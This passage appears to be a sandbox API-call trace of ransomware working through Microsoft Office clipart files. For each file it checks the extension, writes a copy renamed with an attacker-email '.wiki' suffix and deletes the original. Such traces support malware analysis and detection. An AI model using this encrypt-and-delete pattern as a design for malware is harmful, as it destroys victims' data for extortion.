[0196.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.762] lstrlenW (lpString=".dbf") returned 4 [0196.762] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.762] lstrlenW (lpString=".1cd") returned 4 [0196.762] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.762] lstrlenW (lpString=".jpg") returned 4 [0196.762] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.763] lstrlenW (lpString=".doc") returned 4 [0196.763] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.763] lstrlenW (lpString=".docx") returned 5 [0196.763] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0196.763] lstrlenW (lpString=".pdf") returned 4 [0196.763] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.763] lstrlenW (lpString=".xls") returned 4 [0196.763] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.763] lstrlenW (lpString=".xlsx") returned 5 [0196.763] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0196.763] lstrlenW (lpString=".ppt") returned 4 [0196.763] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.763] lstrlenW (lpString=".zip") returned 4 [0196.763] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.763] lstrlenW (lpString=".rar") returned 4 [0196.763] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.763] lstrlenW (lpString=".bz2") returned 4 [0196.763] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.763] lstrlenW (lpString=".7z") returned 3 [0196.763] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.763] lstrlenW (lpString=".dbf") returned 4 [0196.763] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.763] lstrlenW (lpString=".1cd") returned 4 [0196.763] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.764] lstrlenW (lpString=".jpg") returned 4 [0196.764] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.764] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.764] lstrlenW (lpString="J0151041.WMF") returned 12 [0196.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.764] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4356) returned 1 [0196.764] CloseHandle (hObject=0x1cc) returned 1 [0196.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 0x20 [0196.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.765] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.765] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.765] GetLastError () returned 0x0 [0196.765] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1104, lpOverlapped=0x0) returned 1 [0196.771] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1110, lpOverlapped=0x0) returned 1 [0196.772] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.772] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.772] SetEndOfFile (hFile=0x1f0) returned 1 [0196.772] CloseHandle (hObject=0x1f0) returned 1 [0196.772] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.772] SetEndOfFile (hFile=0x1cc) returned 1 [0196.773] CloseHandle (hObject=0x1cc) returned 1 [0196.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0196.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.773] lstrlenW (lpString=".doc") returned 4 [0196.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.773] lstrlenW (lpString=".docx") returned 5 [0196.773] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0196.773] lstrlenW (lpString=".pdf") returned 4 [0196.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.773] lstrlenW (lpString=".xls") returned 4 [0196.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.881] lstrlenW (lpString=".xlsx") returned 5 [0196.881] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0196.881] lstrlenW (lpString=".ppt") returned 4 [0196.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.881] lstrlenW (lpString=".zip") returned 4 [0196.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.889] lstrlenW (lpString=".rar") returned 4 [0196.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.889] lstrlenW (lpString=".bz2") returned 4 [0196.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.889] lstrlenW (lpString=".7z") returned 3 [0196.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.897] lstrlenW (lpString=".dbf") returned 4 [0196.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.897] lstrlenW (lpString=".1cd") returned 4 [0196.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.905] lstrlenW (lpString=".jpg") returned 4 [0196.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.905] lstrlenW (lpString=".doc") returned 4 [0196.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.913] lstrlenW (lpString=".docx") returned 5 [0196.913] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0196.913] lstrlenW (lpString=".pdf") returned 4 [0196.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.913] lstrlenW (lpString=".xls") returned 4 [0196.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.913] lstrlenW (lpString=".xlsx") returned 5 [0196.913] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0196.913] lstrlenW (lpString=".ppt") returned 4 [0196.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.913] lstrlenW (lpString=".zip") returned 4 [0196.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.913] lstrlenW (lpString=".rar") returned 4 [0196.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.913] lstrlenW (lpString=".bz2") returned 4 [0196.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.913] lstrlenW (lpString=".7z") returned 3 [0196.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.913] lstrlenW (lpString=".dbf") returned 4 [0196.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.913] lstrlenW (lpString=".1cd") returned 4 [0196.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0196.913] lstrlenW (lpString=".jpg") returned 4 [0196.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.914] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.914] lstrlenW (lpString="J0152560.WMF") returned 12 [0196.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.914] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10880) returned 1 [0196.914] CloseHandle (hObject=0x200) returned 1 [0196.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 0x20 [0196.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.915] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.915] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0196.915] GetLastError () returned 0x0 [0196.915] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a80, lpOverlapped=0x0) returned 1 [0196.917] WriteFile (in: hFile=0x220, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2a90, lpOverlapped=0x0) returned 1 [0196.918] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.918] WriteFile (in: hFile=0x220, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.918] SetEndOfFile (hFile=0x220) returned 1 [0196.918] CloseHandle (hObject=0x220) returned 1 [0196.918] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.918] SetEndOfFile (hFile=0x200) returned 1 [0196.919] CloseHandle (hObject=0x200) returned 1 [0196.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0196.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.919] lstrlenW (lpString=".doc") returned 4 [0196.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.920] lstrlenW (lpString=".docx") returned 5 [0196.920] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0196.920] lstrlenW (lpString=".pdf") returned 4 [0196.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.920] lstrlenW (lpString=".xls") returned 4 [0196.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.920] lstrlenW (lpString=".xlsx") returned 5 [0196.920] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0196.920] lstrlenW (lpString=".ppt") returned 4 [0196.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.920] lstrlenW (lpString=".zip") returned 4 [0196.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.920] lstrlenW (lpString=".rar") returned 4 [0196.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.920] lstrlenW (lpString=".bz2") returned 4 [0196.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.920] lstrlenW (lpString=".7z") returned 3 [0196.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.920] lstrlenW (lpString=".dbf") returned 4 [0196.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.920] lstrlenW (lpString=".1cd") returned 4 [0196.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.920] lstrlenW (lpString=".jpg") returned 4 [0196.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.921] lstrlenW (lpString=".doc") returned 4 [0196.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.921] lstrlenW (lpString=".docx") returned 5 [0196.921] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0196.921] lstrlenW (lpString=".pdf") returned 4 [0196.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.921] lstrlenW (lpString=".xls") returned 4 [0196.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.921] lstrlenW (lpString=".xlsx") returned 5 [0196.921] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0196.921] lstrlenW (lpString=".ppt") returned 4 [0196.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.921] lstrlenW (lpString=".zip") returned 4 [0196.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.921] lstrlenW (lpString=".rar") returned 4 [0196.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.921] lstrlenW (lpString=".bz2") returned 4 [0196.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.921] lstrlenW (lpString=".7z") returned 3 [0196.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.921] lstrlenW (lpString=".dbf") returned 4 [0196.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.921] lstrlenW (lpString=".1cd") returned 4 [0196.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0196.921] lstrlenW (lpString=".jpg") returned 4 [0196.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.922] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.922] lstrlenW (lpString="J0152568.WMF") returned 12 [0196.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.922] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3696) returned 1 [0196.922] CloseHandle (hObject=0x200) returned 1 [0196.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 0x20 [0196.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.922] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.923] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0196.923] GetLastError () returned 0x0 [0196.923] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xe70, lpOverlapped=0x0) returned 1 [0196.925] WriteFile (in: hFile=0x220, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe80, lpOverlapped=0x0) returned 1 [0196.926] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.926] WriteFile (in: hFile=0x220, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.926] SetEndOfFile (hFile=0x220) returned 1 [0196.926] CloseHandle (hObject=0x220) returned 1 [0196.926] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.926] SetEndOfFile (hFile=0x200) returned 1 [0196.927] CloseHandle (hObject=0x200) returned 1 [0196.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0196.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.927] lstrlenW (lpString=".doc") returned 4 [0196.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.928] lstrlenW (lpString=".docx") returned 5 [0196.928] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0196.928] lstrlenW (lpString=".pdf") returned 4 [0196.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.928] lstrlenW (lpString=".xls") returned 4 [0196.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.928] lstrlenW (lpString=".xlsx") returned 5 [0196.928] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0196.928] lstrlenW (lpString=".ppt") returned 4 [0196.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.928] lstrlenW (lpString=".zip") returned 4 [0196.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.928] lstrlenW (lpString=".rar") returned 4 [0196.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.928] lstrlenW (lpString=".bz2") returned 4 [0196.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.928] lstrlenW (lpString=".7z") returned 3 [0196.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.928] lstrlenW (lpString=".dbf") returned 4 [0196.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.928] lstrlenW (lpString=".1cd") returned 4 [0196.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.928] lstrlenW (lpString=".jpg") returned 4 [0196.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.928] lstrlenW (lpString="C:\\Program Files\\Microsoft 